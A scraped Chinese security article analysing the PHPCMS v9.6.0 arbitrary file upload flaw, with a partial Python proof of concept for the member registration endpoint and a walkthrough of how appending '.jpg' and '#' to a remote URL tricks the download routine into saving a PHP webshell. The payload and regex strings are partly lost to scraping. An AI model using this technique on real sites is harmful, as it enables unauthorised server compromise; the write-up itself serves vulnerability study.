Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

PHPCMS v9.6.0 任意文件上传漏洞分析 PHPCMS PHPCMS漏洞 任意文件上传漏洞 漏洞分析

$
0
0

phpCMS v9.6.0 任意文件上传漏洞分析。

0x00 漏洞概述漏洞简介

前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复.

漏洞影响

任意文件上传

0x01 漏洞复现

本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。

首先我们看简化的 PoC :

import re import requestsdef poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': 'test@test.com', 'info[content]': '

', 'dosubmit': '1', } rep = requests.post(u, data=data) shell = '' re_result = re.findall(r'

', rep.content) if len(re_result): shell = re_result[0] print shell

可以看到 PoC 是发起注册请求,对应的是 phpcms/modules/member/index.php 中的 register 函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:


PHPCMS v9.6.0 任意文件上传漏洞分析 PHPCMS PHPCMS漏洞 任意文件上传漏洞 漏洞分析
通过 PoC 不难看出我们的 payload 在 $_POST['info'] 里,而这里对 $_POST['info'] 进行了处理,所以我们有必要跟进。

在使用 new_html_special_chars 对 <> 进行编码之后,进入 $member_input->get 函数,该函数位于 caches/caches_model/caches_data/member_input.class.php 中,接下来函数走到如下位置:


PHPCMS v9.6.0 任意文件上传漏洞分析 PHPCMS PHPCMS漏洞 任意文件上传漏洞 漏洞分析
由于我们的 payload 是 info[content] ,所以调用的是 editor 函数,同样在这个文件中:
PHPCMS v9.6.0 任意文件上传漏洞分析 PHPCMS PHPCMS漏洞 任意文件上传漏洞 漏洞分析

接下来函数执行 $this->attachment->download 函数进行下载,我们继续跟进,在 phpcms/libs/classes/attachment.class.php 中:

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value);}

函数中先对 $value 中的引号进行了转义,然后使用正则匹配:

$ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

这里正则要求输入满足 src/href=url.(gif|jpg|jpeg|bmp|png) ,我们的 payload (

)符合这一格式(这也就是为什么后面要加 .jpg 的原因)。

接下来程序使用这行代码来去除 url 中的锚点: $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); ,处理过后 $remotefileurls 的内容如下:

{C}


PHPCMS v9.6.0 任意文件上传漏洞分析 PHPCMS PHPCMS漏洞 任意文件上传漏洞 漏洞分析

可以看到 #.jpg 被删除了,正因如此,下面的 $filename = fileext($file); 取的的后缀变成了 php ,这也就是 PoC 中为什么要加 # 的原因: 把前面为了满足正则而构造的 .jpg 过滤掉,使程序获得我们真正想要的 php 文件后缀。


Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles



Latest Images